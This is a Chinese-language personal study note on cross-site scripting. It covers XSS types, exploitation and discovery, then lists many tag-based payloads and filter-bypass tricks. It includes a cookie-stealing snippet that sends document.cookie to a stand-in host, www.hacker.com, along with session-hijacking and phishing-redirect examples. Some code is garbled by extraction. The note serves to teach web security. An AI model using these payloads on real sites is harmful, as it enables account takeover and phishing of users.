本文作者:Yunen
此篇系本人两周来学习 XSS 的一份个人总结,实质上应该是一份笔记,方便自己日后重新回来复习,文中涉及到的文章我都会在末尾尽可能地添加上,此次总结是我在学习过程中所写,如有任何错误,敬请各位读者斧正。其中有许多内容属于相关书籍、文章的部分摘取,如有侵权,请联系我修改。(asp-php#foxmail.com)
1) 什么是 XSS?
XSS (Cross-Site Script, 跨站脚本)是由于 web 应用程序对用户的输入过滤不足而产生的一种漏洞。攻击者可以利用网站漏洞把恶意的脚本代码注入到网页之中,当其他用户浏览这些带有恶意代码的网页时就会执行其中的恶意代码,对受害者产生各种攻击。
如果对以上描述还不是很了解的话,可以参考百度百科
在余弦大大和xisigr大大的书籍《Web 前端安全技术揭秘》第三章中这样说道:
跨站脚本的重点不在“跨站”上,而应该在“脚本”上...因为这个“跨”实际上属于浏览器的特性,而不是缺陷,造成“跨”的假象是因为绝大多数的 XSS 攻击都会采用嵌入一段远程或者说第三方域上的脚本资源。
确实,当攻击者的服务器上的 js 嵌入到受害者的页面,至于接下来的攻击就是关于“脚本”的事了。
2) XSS 可以带来哪些危害?
对于 XSS 攻击的危害,大多数的人们却没有正确的认识,实际上攻击者可以利用 XSS 攻击造成巨大的危害。比如:
- 网页挂马;
- 盗取 Cookie;
- DoS 攻击;
- 钓鱼攻击;
- 蠕虫攻击;
- 劫持用户 web 行为;
- 结合 CSRF 进行针对性攻击;
- ······
这些都是可以利用 XSS 漏洞来达成的。
3) XSS 类型
目前的 XSS 总共可以分为三种类型:
- 反射型(也叫非持久型)
- 存储型(也叫持久型)
- DOM 型
PS:前两种 XSS 都会与服务器产生交互,后一种不会产生交互。(某安全大佬面试)
反射型 XSS
反射型 XSS,也称非持久型 XSS,最常见也是使用最广的一种。在反射型 XSS 中,payload 一般存在于网页的 Url中,只用户单击时触发,只执行一次,非持久化,故称反射型 XSS。攻击者发送恶意 Url 链接让受害者点击(一般会对 payload 部分进行处理,如:编码转换和短域名跳转)
由于篇幅问题,关于反射型 XSS 我就不做过多简述。
有的人认为反射型 XSS 需要用户已经登陆的情况下才能利用,其实不然。我们可以通过反射型 xss 让浏览器远程嵌入我们的 js 文件,然后配合浏览器漏洞进行 RCE 攻击。这里给出个相近的例子:
《记一次从DOM型XSS到RCE过程》:
https://xz.aliyun.com/t/3919
存储型 XSS
存储型 XSS,也称持久型 XSS,攻击者首先将恶意 javascript 代码上传或存储到漏洞服务器中,只要受害者浏览包含此恶意 javascript 页面就会执行恶意代码,不需要用户点击特定 Url 就能执行,故存储型 XSS 比反射型 XSS 更具威胁性。--- 《XSS跨站脚本攻击剖析与防御》
存储型 XSS 与反射型 XSS 最大的区别就在于提交的 XSS 代码会储存于服务端,下次再访问目标页面时不用再提交 XSS 代码。---《Web前端黑客技术揭秘》
DOM 型 XSS
许多朋友对反射型 XSS 和存储型 XSS 都比较清楚,可是却不太了解什么是 DOM 型 XSS,没关系,看完这里你就应该会对 DOM 型 XSS 有个大概认识 DOM, 即 Document Object Model(文件对象模型)的缩写,关于 DOM 的概念想了解的朋友可以在百度百科得到相应的解答。
DOM 型 XSS 是如何产生的?我们知道,客户端 javascipt 是可以访问浏览器的 DOM 文本对象模型,如果没有经过适当的过滤和消毒,那么应用程序可能会受到基于 DOM 的 XSS 攻击。
在刺的《白帽子讲 Web 安全》是这样讲的:
通过修改页面的 DOM 节点形成的 XSS,称之为 DOM Based XSS,也就是 DOM 型 XSS。
举个简单的例子(来自《Web 前端黑客技术揭秘》):
代码语言:javascript复制<html>
...
<script>
vara=document.URL;
document.write(a.substring(a.indexOf("a=") 2,a.length));
</script>
...
</html>
把以上代码保存为 1.html, 然后打开浏览器访问http://127.0.0.1/1.html#a=test
我们知道这是个静态页面,而且#后边的内容并不会传给服务器。
可是这样就不会产生XSS漏洞了吗?如果我们访问http://127.0.0.1/.html#a=<script>alert(/xss/)</script>
当我们访问上述 url 时,服务器会返回源代码,我们可以用抓包工具截取,发现与正常访问的页面无差别,可是当浏览器收到源代码时便把 HTML 文本解析成 DOM 对象并执行,结果弹出 /xss/ 消息框,感兴趣的朋友可以试试。 具体执行过程如图:
4) XSS 的利用方式
前面我们介绍了各种 XSS 的特点及产生方式,现在我们来说说如何利用这些漏洞。
Cookie 窃取
Cookie 盗取是 xss 攻击中最实用也是最广泛的一种利用方式之一。我们知道 Cookie 是 Web 系统识别用户的身份和保存会话状态的主要机制,且是由服务器提供的、存储在客户端的一种数据。同时,对于 cookie 的操作十分的方便,我们可以通过 Document 对象访问 Cookie。如:<script>alert(document.cookie)</script>
会弹出当前页面的 cookie 信息。*
这里我们引入一个叫做“同源策略”的概念:
首先,同“源”的源不单单是指两个页面的主域名,还包括这两个域名的协议、端口号和子级域名相同。举个例子,假设我现在有一个页面
http://www.a.com/index.html
,域名是www.a.com
,二级域名为 www,协议是 http,端口号是默认的 80,这个页面的同源情况如下:
同源策略存在的意义就是为了保护用户的信息的安全。一般网站都会把关于用户的一些敏感信息存在浏览器的 cookie 当中试想一下,如果没有同源策略的保护,那么 b 页面也可以随意读取 a 页面存储在用户浏览器 cookie 中的敏感信息,就会造成信息泄露。如果用户的登录状态被恶意网站能够随意读取,那后果不堪设想。由此可见,同源策略是非常必要的,可以说是浏览器安全的基石。 除了 cookie 的访问受到同源策略的限制外,还有一些操作也同样受到同源策略的限制: (1) 无法读取非同源网页的 Cookie 、sessionStorage 、localStorage 、IndexedDB (2) 无法读写非同源网页的 DOM (3) 无法向非同源地址发送 AJAX 请求(可以发送,但浏览器会拒绝响应而报错)
————引自晚风表哥在信安之路上的投稿文章《同源策略与跨域请求》
我们知道 Cookie 有如下常见的属性:
- Domain————设置关联 Cookie 的域名;
- Expires————通过给定一个过期时间来创建一个持久化 Cookie;
- Httponly————用于避免 Cookie 被 Javascript 访问;
- Name————Cookie 的名称;
- Path————关联到 Cookie 的路径,默认为 /;
- Value————读写 Cookie 的值;
- Secure————用于指定 Cookie 需要通过安全 Socket 层传递连接;
并且 Cookie 也可以安装类型分为:
- 本地 Cookie————即储存在计算机硬盘中,关闭浏览器后依旧存在;
- 内存 Cookie————即储存在内存中,随浏览器的关闭而消失;
如何区分两者很简单,只要判断 cookie 中的 expires 即过期时间属性有没有设置,如果设置了即为本地 cookie,反之为内存 cookie。
由于 Cookie 具有的不同属性,我们可以将不同属性的 Cookie 盗取方式分为以下几种情况
默认
默认情况,即不对 Cookie 的任何属性进行指定就设置 Cookie 的情况。这种情况下 Cookie 的获取最为简单。可以通过下列方式获取
代码语言:javascript复制<script>
newImage().src="http://www.hacker.com/cookie.php?cookie=" document.cookie;
</script>
不同域
这是由于 domain 字段的机制导致的。一个 Cookie 如果不知道 domain 的值,则默认为本域。
例如有两个网站www.a.com
和test.a.com
且后者存在 xss 漏洞,按照同源策略,这两个网站是不同源的,默认情况下我们无法直接从test.a.com
获取到www.a.com
的 Cookie,可是如果www.a.com
的 Cookie 值中的 domain 属性设置为父级域即a.com
,就可以通过test.a.com
的 xss 漏洞获取到www.a.com
的 Cookie值。
不同路径
这是由于 path 字段的机制导致的。在设置 Cookie 时,如果不指定 path 的值,默认就是目标页面的路径。比如在www.a.com/admin/index.php
设置 cookie 值且不知道 path,那么 path 默认为/admin/
。javascript 可以指定任意路径的 cookie,但是只有对于 path 值的目录下才能读取 Cookie, 即上述例子中只有/admin/
目录下的 javascipt 才能读取前边设置的 Cookie。
Http Only
HttpOnly 是指仅在 Http 层面上传输的 Cookie,当设置了 HttpOnly 标志后,客户端脚本就无法读取该 Cookie,这样做能有效防御 XSS 攻击获取 Cookie,也是目前防御 XSS 的主流手段之一。不过利用某些特定方式也可以同样读取到标志了 HttpOnly 的 Cookie。
- 利用调试信息,如:PHP 的 phpinfo() 和 Django 的调试信息,里边都记录了 Cookie 的值,且标志了HttpOnly 的 Cookie 也同样可以获取到。
- 利用 Apache Http Server 400 错误暴露 HttpOnly Cookie 的特点。
感兴趣的朋友可以查阅相关资料(《Web前端黑客技术揭秘》p36-39)
Secure
Secure 是指设置了 Secure 的 Cookie 尽在 HTTPS 层面上进行安全传输,如果请求是 HTTP 的,则不会带上改 Cookie,这样做的好处是可以降低 Cookie 对中间人攻击获取的风险,不过对我们此处讨论的 XSS 攻击无拦截效果,可通过默认情况下获取。
P3P
HTTP 响应头的 P3P 字段可以用于标识是否允许目标网站的 Cookie 被另一域通过加载目标网站而设置或发送,据说仅 IE 支持(17年)。
我们来举个例子,在 A 域通过 iframe 等方式加载 B 域(此时也称 B 域为第三方域),如果我们想通过 B 域来设置 A 域的Cookie,或加载 B 域时带上 B 域的 Cookie,这时就得涉及到 P3P。
B 域设置 A 域 Cookie
在 IE 下默认是不允许第三方域设置的的,除非 A 域在响应头带上 P3P 字段。当响应头头带上 P3P 后,IE 下第三方域即可进行对 A 域 Cookie 的设置,且设置的 Cookie 会带上 P3P 属性,一次生效,即使之后没有 P3P 头也有效。
加载 B 域时 Cookie 传入问题
我们知道 Cookie 分为内存 Cookie 和本地 Cookie,当我们通过 A 域加载 B 域时,默认是带内存 Cookie 加载(如果无内存 Cookie 则不带),而如果想要带本地 Cookie 加载,则本地 Cookie 必须带 P3P 属性。
- 相关文章:用P3P header解决iframe跨域访问cookie: https://www.cnblogs.com/cheney256/articles/8942240.html)
- 相关阅读:《Web前端黑客技术揭秘》p41-42
会话劫持
由于 Cookie 的不安全性,开发者们开始使用一些更为安全的认证方式——Session。 这里引用《XSS 跨站脚本攻击剖析与防御》p51-52 页的内容
Session 的中文意思是会话,其实就是访问者从到达特定主页到离开的那段时间,在这个过程中,每个访问者都会得到一个单独的 Session。Session 是给予访问的进程,记录了一个访问的开始到结束,搭档浏览器或进程关闭之后,Session 也就“消失”了。 在 Session 机制中,客户端和服务端也有被其他人利用的可能。 Session 和 Cookie 最大的区别在于:Session 是保存在服务端的内存里面,而 Cookie 保存于浏览器或客户端文件里面
这里提到 Session 是因为我们在现实情况中可能会出现已经获取到了 Cookie,但是由于用户已经退出了浏览器指示 Session 无效,导致我们无法通过 Cookie 欺骗来获取用户权限;又比如有的网站设置了 HttpOnly,获取不到 Cookie;再者有的网站将 Cookie 与客户端 IP 向绑定;此时我们便可以利用会话劫持来达到目的。
会话劫持的实质就是模拟 GET/POST 请求(带 Cookie)通过受害者浏览器发送给服务器,我们可以通过下面的方式来完成。
- 通过 javascript 控制 DOM 对象来发起一个 GET 请求,如:
var img=document.creatElement("img");
img.src="http://www.a.com/del.php?id=1";
document.body.appendChild(img);
- 通过 javascript 自动构造隐藏表单并提交 (POST)
- 通过 XMLHttpRequest 直接发送一个 POST 请求
我们可以通过构造的 GET/POST 请求来实现如添加管理员、删除文章、上传文件等操作。XSS 蠕虫从某种意义上来说也属于会话劫持。
钓鱼
现在一般我们都可以很容易的防范钓鱼网站,可是当钓鱼网站与 XSS 漏洞结合呢?设想一下,如 mail.qq.com 的页面存在 XSS 漏洞,攻击者通过 iframe 替换了原来的页面成钓鱼页面,并且网页的 Url 还是原来的页面,你是否能察觉出来?
XSS 重定向钓鱼
即从www.a.com
通过 xss 漏洞跳转到www.b.com
的钓鱼页面上,整个过程变化明显,受害者易察觉。
http://www.a.com/index.php?search=<script>document.location.href="http://www.b.com/index.php"</script>
HTML 注入式钓鱼
通过 javascript 来修改页面的 DOM 对象属性,或在原页面中添加新的 DOM 元素。前者相对于后者更隐蔽。
Iframe
攻击者通过 javascript 来添加一个新的<Iframe>
标签嵌入第三方域的内容(钓鱼网页),此时主页面仍处于正常页面下,具有极高的迷惑性。
5) XSS 漏洞的挖掘
就目前而言,XSS 漏洞的挖掘主要分为白盒审计和黑盒 Fuzz 两种。
白盒审计
通过查看源代码来判断网站的交互点是否存在安全过滤。由于此处涉及代码审计内容(其实就是懒),就细说,这里直接引用书中总结的。
分析源代码挖掘 XSS 的一般思路是:查找可能在页面输出的变量,检验它们是否受到控制,然后跟踪这些变量的传递过程,分析它们是否被 htmlencode() 之类的函数过滤
黑盒 Fuzz
这个可得好好说说了,毕竟我们在现实环境中挖掘 XSS 漏洞时黑盒的情况偏多。我们进行 XSS 黑盒测试时主要分为手工检测和工具检测。
手工检测
首先我们需要尽可能地找到目标的每个输入输出点并挨个尝试;在进行尝试的时候,我们应优先选择特殊字符进行测试,如"<>&;/':
等,如果连<>
都未过滤/转义,那么该输入点很可能存在 XSS 漏洞。
如果<>
等标记符号都被过滤/转义了,我们也可以使用标签自身的属性/事件(href,lowsrc,bgsound,backgroud,value,action,dynsrc 等)来触发 XSS, 如<input name="xx" value=<?=$query?>>
这里的 $query 属于动态内容,我们把他替换成恶意代码,最终的代码为<input name="xx" value=xss onmouseover=evil_script>
。
一般来说,针对输入框的黑盒测试可能存在反射型 XSS,也可能存在存储型 XSS,还有可能是 DOM 型,针对 Url 参数的黑盒测试绝大多数只存在反射型 XSS 或 DOM 型 XSS。
<img>
标签:
利用方式1
<img src=javascript:alert("xss")>
<IMG SRC=javascript:alert(String.formCharCode(88,83,83))>
<img scr="URL"style='Xss:expression(alert(/xss));'
<!--CSS标记xss-->
<img STYLE="background-image:url(javascript:alert('XSS'))">
XSS利用方式2
<img src="x"onerror=alert(1)>
<img src="1"onerror=eval("alert('xss')")>
XSS利用方式3
<img src=1onmouseover=alert('xss')>
<a>
标签:
标准格式
<a href="https://www.baidu.com">baidu</a>
XSS利用方式1
<a href="javascript:alert('xss')">aa</a>
<a href=javascript:eval(alert('xss'))>aa</a>
<a href="javascript:aaa"onmouseover="alert(/xss/)">aa</a>
XSS利用方式2
<script>alert('xss')</script>
<a href=""onclick=alert('xss')>aa</a>
利用方式3
<a href=""onclick=eval(alert('xss'))>aa</a>
利用方式4
<a href=kycg.asp?ttt=1000onmouseover=prompt('xss')y=2016>aa</a>
input 标签:
代码语言:javascript复制标准格式
<input name="name"value="">
利用方式1
<input value=""onclick=alert('xss')type="text">
利用方式2
<input name="name"value=""onmouseover=prompt('xss')bad="">
利用方式4
<input name="name"value=""><script>alert('xss')</script>
<form>
标签:
XSS利用方式1
<form action=javascript:alert('xss')method="get">
<form action=javascript:alert('xss')>
XSS利用方式2
<form method=postaction=aa.asp?onmouseover=prompt('xss')>
<form method=postaction=aa.asp?onmouseover=alert('xss')>
<form action=1onmouseover=alert('xss')>
XSS利用方式3
<!--原code-->
<form method=postaction="data:text/html;base64,<script>alert('xss')</script>">
<!--base64编码-->
<form method=postaction="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
<iframe>
标签:
XSS利用方式1
<iframe src=javascript:alert('xss');height=5width=1000/><iframe>
XSS利用方式2
<iframe src="data:text/html,<script>alert('xss')</script>"></iframe>
<!--原code-->
<iframe src="data:text/html;base64,<script>alert('xss')</script>">
<!--base64编码-->
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
XSS利用方式3
<iframe src="aaa"onmouseover=alert('xss')/><iframe>
XSS利用方式3
<iframe src="javascript:prompt(`xss`)"></iframe>
<svg>
标签:
<svg onload=alert(1)>
——引自 wkend的文章《XSS小节》:
https://xz.aliyun.com/t/2936
工具检测
关于 XSS 的自动检测软件有许多,如 Burp 的 Scan 模块,BruteXSS:
https://github.com/rajeshmajumdar/BruteXSS
等,这里不做过多结束。
6) shellcode 的绕过
绕过XSS-Filter
XSS-Filter 是一段基于黑名单的过滤函数,大多数 CMS 都有这么个函数,作用于用户的每一个输入点,用于过滤可能的恶意代码。不过从某种意义上来说,基于黑名单的保护是一定不会是安全的,由于 XSS的多变性,几乎不可能存在完全地过滤。
空格回车和 Tab
对 XSS-Filter 而言,如果仅仅是将函数加入黑名单处理,那么可以在函数名称之中尝试加入空格、回车、Tab 等键位符来进行绕过。这是由于在 javascript 中只会将;
作为语句的终止符,当浏览器引擎解析 javascript 脚本时没有匹配到;
便会继续处理,知道发现下个分号为止,而换行符并不是终止符。如下列代码可绕过对关键字javascript|alert
的过滤:
<img src=javasc
ript:aler
t(/xss/)>
对标签属性值进行转码
HTML 中属性值支持 ASCII 码形式,如
代码语言:javascript复制<img src="javascript:alert('xss');">
替换成
代码语言:javascript复制<img src="javascript:alert('xss');">
其中在 ASCII 表中 116 为t
,58 为:
。
也可以将
,
等插入 javascript 的头部,还可以将 tab(	)|换行符(
)|回车键(
)插入到代码中的任意位置。
Fuzz 标签未过滤事件名
如<img src=x onerror=alert(/xss/)>
其中的 onerror 即为 IMG 标签的一个事件,通常这样的事件都是以on
开头,常见的有:
onResume
onReverse
onSeek
onSynchRestored
onURLFlip
onRepeat
onPause
onstop
onmouseover
除此之外还有很多事件可以利用,这里不再一一列举。
使用 Css 绕过
利用 Css 样式表可以执行 javascript 的特性,如 Css 直接执行 javascript:
代码语言:javascript复制<div style="background-image:url(javascript:alert('xss'))">
<style>
body{background-image:url("javascript:alert('xss')");}
</style>
css 中使用 expression 执行 javascript:
代码语言:javascript复制<div style="width: expression(alert('xss'))">
<img src="#"style="xss:expression(alert(/xss/))">
<style>
body{background-image:expression("alert('xss')");}
</style>
在上述的两个例子中,都用到了样式表的 url 属性来执行 XSS 代码。
除了上述两种,还可以利用 @import
直接执行 javascript 代码
<style>
@import'javascript:alert("xss")';
</style>
在现实环境下,HTML 页面中的 Css 与 Javascript 的嵌入方式很相似,且 Css 也可以执行 javascript 代码,故我们的 XSS 代码也可以通过嵌入远程恶意 css 文件来进行 XSS 攻击。
扰乱规则
- 大小写变换;
- 利用 expression 执行跨站代码的时候,可以构造不同的全角字符来扰乱过滤规则;
- 结合样式表注释字符 /**/,通过 css 执行 javascript
- 样式标签会过滤
和